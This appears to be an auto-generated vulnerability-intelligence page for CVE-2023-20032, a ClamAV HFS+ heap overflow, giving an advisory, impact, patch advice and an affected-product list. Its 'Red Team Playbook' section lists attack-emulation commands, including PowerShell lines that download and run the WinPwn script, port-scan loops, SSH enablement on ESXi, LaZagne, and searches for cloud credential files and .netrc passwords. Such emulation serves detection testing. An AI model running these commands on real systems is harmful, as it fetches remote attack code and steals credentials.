CVE-2023-20032
Overview
This vulnerability is a heap-based buffer overflow in the HFS+ partition file parser within the ClamAV scanning library integrated into Cisco Secure Web Appliance. The root cause is a missing buffer size validation when processing crafted HFS+ partition files, leading to unchecked memory writes. The flaw specifically affects ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier used in the scanning component of the product.
Vulnerability Description
On Feb 15, 2023, the following vulnerability in the ClamAV scanning library was disclosed: A vulnerability in the HFS+ partition file parser of ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier could allow an unauthenticated, remote attacker to execute arbitrary code. This vulnerability is due to a missing buffer size check that may result in a heap buffer overflow write. An attacker could exploit this vulnerability by submitting a crafted HFS+ partition file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to execute arbitrary code with the privileges of the ClamAV scanning process, or else crash the process, resulting in a denial of service (DoS) condition. For a description of this vulnerability, see the ClamAV blog ["https://blog.clamav.net/"].
Impact
An unauthenticated remote attacker can exploit this vulnerability by submitting a crafted HFS+ partition file to the ClamAV scanning process, leading to arbitrary code execution with the scanning process's privileges or causing a denial of service via process crash. The attack requires only network access to the scanning service and no user interaction or authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). This can result in full compromise of the scanning component, potential lateral movement, or service disruption impacting business continuity.
Solution
Cisco recommends applying the updates detailed in the Cisco Security Advisory cisco-sa-clamav-q8DThCy available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-q8DThCy. Administrators should upgrade Cisco Secure Endpoint and Secure Endpoint Private Cloud to versions that include patched ClamAV libraries beyond 1.0.0, 0.105.1, or 0.103.7. No specific workarounds are provided; timely application of vendor patches is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the ClamAV scanning library arises from a missing buffer size check within the HFS+ partition file parser. This oversight can lead to a heap buffer overflow, allowing an attacker to manipulate memory allocation and potentially execute arbitrary code. Specifically, when an affected version of ClamAV processes a crafted HFS+ partition file, the absence of proper validation enables an attacker to overwrite memory locations, which can result in the execution of malicious payloads. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to systems utilizing the affected versions of ClamAV.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the submission of specially crafted HFS+ files for scanning. An attacker could leverage social engineering tactics to convince a user to upload a malicious file or could automate the process by targeting systems with exposed ClamAV scanning services. Once the file is processed, the attacker gains the ability to execute arbitrary code with the same privileges as the ClamAV scanning process. This could lead to unauthorized access, data exfiltration, or even complete system compromise. Furthermore, if the exploit fails, it may crash the ClamAV process, resulting in a denial of service condition that disrupts security operations.
The real-world impact of this vulnerability is significant, particularly for organizations relying on ClamAV for malware detection and prevention. The potential for arbitrary code execution poses a severe business risk, as it could lead to data breaches, loss of sensitive information, and reputational damage. Organizations utilizing affected products, such as those from Cisco and Stormshield, may find themselves vulnerable not only to direct attacks but also to collateral damage from compromised systems. The financial implications of such incidents can be substantial, encompassing recovery costs, regulatory fines, and loss of customer trust.
To detect and mitigate this vulnerability, organizations should prioritize immediate updates to the latest versions of ClamAV that address this flaw. Regular patch management practices are essential in maintaining the security posture of systems. Additionally, implementing robust intrusion detection systems can help identify attempts to exploit this vulnerability by monitoring for unusual file submissions or scanning activity. Network segmentation and access controls can further limit exposure to potential attacks, ensuring that only trusted sources can interact with ClamAV services. Educating users about the risks associated with uploading files and reinforcing safe browsing practices can also mitigate the risk of exploitation.
In conclusion, the vulnerability in the ClamAV scanning library presents a critical threat to systems that rely on its functionality. The combination of a missing buffer size check and the potential for arbitrary code execution creates a high-risk scenario for organizations. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can implement effective detection and mitigation strategies to safeguard their environments against this significant threat.
Affected Products (18)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Secure Endpoint | All |
cpe:2.3:a:cisco:secure_endpoint:*:*:*:*:*:linux:*:*
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Cisco | Secure Endpoint | All |
cpe:2.3:a:cisco:secure_endpoint:*:*:*:*:*:macos:*:*
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Cisco | Secure Endpoint | All |
cpe:2.3:a:cisco:secure_endpoint:*:*:*:*:*:windows:*:*
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Cisco | Secure Endpoint | All |
cpe:2.3:a:cisco:secure_endpoint:*:*:*:*:*:windows:*:*
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Cisco | Secure Endpoint Private Cloud | All |
cpe:2.3:a:cisco:secure_endpoint_private_cloud:*:*:*:*:*:*:*:*
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Cisco | Web Security Appliance | All |
cpe:2.3:a:cisco:web_security_appliance:*:*:*:*:*:*:*:*
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Cisco | Web Security Appliance | All |
cpe:2.3:a:cisco:web_security_appliance:*:*:*:*:*:*:*:*
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Cisco | Web Security Appliance | All |
cpe:2.3:a:cisco:web_security_appliance:*:*:*:*:*:*:*:*
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Cisco | Web Security Appliance | All |
cpe:2.3:a:cisco:web_security_appliance:*:*:*:*:*:*:*:*
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Clamav | Clamav | All |
cpe:2.3:a:clamav:clamav:*:*:*:*:*:*:*:*
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Clamav | Clamav | All |
cpe:2.3:a:clamav:clamav:*:*:*:*:*:*:*:*
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Clamav | Clamav | 1.0.0 |
cpe:2.3:a:clamav:clamav:1.0.0:-:*:*:*:*:*:*
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Clamav | Clamav | 1.0.0 |
cpe:2.3:a:clamav:clamav:1.0.0:rc:*:*:*:*:*:*
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Clamav | Clamav | 1.0.0 |
cpe:2.3:a:clamav:clamav:1.0.0:rc2:*:*:*:*:*:*
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Stormshield | Stormshield Network Security | All |
cpe:2.3:a:stormshield:stormshield_network_security:*:*:*:*:*:*:*:*
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Stormshield | Stormshield Network Security | All |
cpe:2.3:a:stormshield:stormshield_network_security:*:*:*:*:*:*:*:*
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Stormshield | Stormshield Network Security | All |
cpe:2.3:a:stormshield:stormshield_network_security:*:*:*:*:*:*:*:*
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Stormshield | Stormshield Network Security | All |
cpe:2.3:a:stormshield:stormshield_network_security:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20032 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-q8DThCy |